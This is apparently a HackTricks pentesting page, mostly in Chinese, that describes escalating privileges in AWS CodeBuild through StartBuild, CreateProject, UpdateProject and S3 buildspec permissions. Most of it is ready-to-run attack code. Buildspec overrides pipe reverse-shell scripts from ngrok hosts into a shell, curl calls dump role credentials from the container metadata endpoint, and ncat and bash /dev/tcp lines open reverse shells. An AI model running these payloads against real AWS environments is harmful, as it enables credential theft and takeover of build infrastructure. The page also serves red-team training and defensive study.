AWS - Codebuild Privesc

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

codebuild

更多信息请见:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

仅凭其中任一权限即可触发构建,使用新的 buildspec 并窃取分配给该项目的 iam role 的 token:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

注意: 这两个命令之间的区别在于:

  • StartBuild 会触发一个使用特定 buildspec.yml 的单个构建任务。
  • StartBuildBatch 允许你启动一批构建,具有更复杂的配置(例如并行运行多个构建)。

潜在影响: 对附加的 AWS Codebuild 角色的直接 privesc。

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

具有 iam:PassRolecodebuild:CreateProjectcodebuild:StartBuildcodebuild:StartBuildBatch 权限的攻击者,可以通过创建一个正在运行的 codebuild 构建来获得任何 codebuild IAM 角色的权限

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

潜在影响: 直接 privesc 到任何 AWS Codebuild role。

Warning

Codebuild container 中,文件 /codebuild/output/tmp/env.sh 包含访问 元数据凭证 所需的所有环境变量。

该文件包含 env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI,其中包含访问凭证的 URL path。它看起来像 /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

将其添加到 URL http://169.254.170.2/,即可转储角色凭证。

此外,它还包含 env variable ECS_CONTAINER_METADATA_URI,其中包含用于获取关于容器的完整元数据信息的 URL。

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

就像前一节,如果不是创建一个 build project 而是修改它,你可以指定 IAM Role 并窃取 token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potential Impact: 直接 privesc 到任何 AWS Codebuild 角色。

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

与上一节类似,但 没有 iam:PassRole 权限,你可以滥用这些权限来 修改现有的 Codebuild 项目并访问它们已分配的角色

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

潜在影响: 直接 privesc 到附加的 AWS Codebuild roles。

SSM

拥有 足够权限来启动 ssm session 时,可以进入正在构建的 Codebuild project

该 Codebuild project 需要有一个 breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

然后:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

更多信息请参阅 check the docs

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

如果攻击者能够启动或重启一个将其 buildspec.yml 文件存储在攻击者具有写权限的 S3 存储桶中的特定 CodeBuild 项目的构建,则可以在 CodeBuild 进程中获得命令执行。

注意:只有在 CodeBuild worker 使用不同且(希望)权限更高的角色时,此提权才有意义。

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

你可以使用类似这样的 buildspec 来获取 reverse shell

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: 对通常具有高权限的 AWS CodeBuild worker 使用的角色进行直接 privesc。

Warning

请注意,buildspec 可能以 zip 格式存在,因此攻击者需要下载、解压、在根目录修改 buildspec.yml,重新压缩并上传

More details could be found here.

Potential Impact: 对附加的 AWS Codebuild 角色进行直接 privesc。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks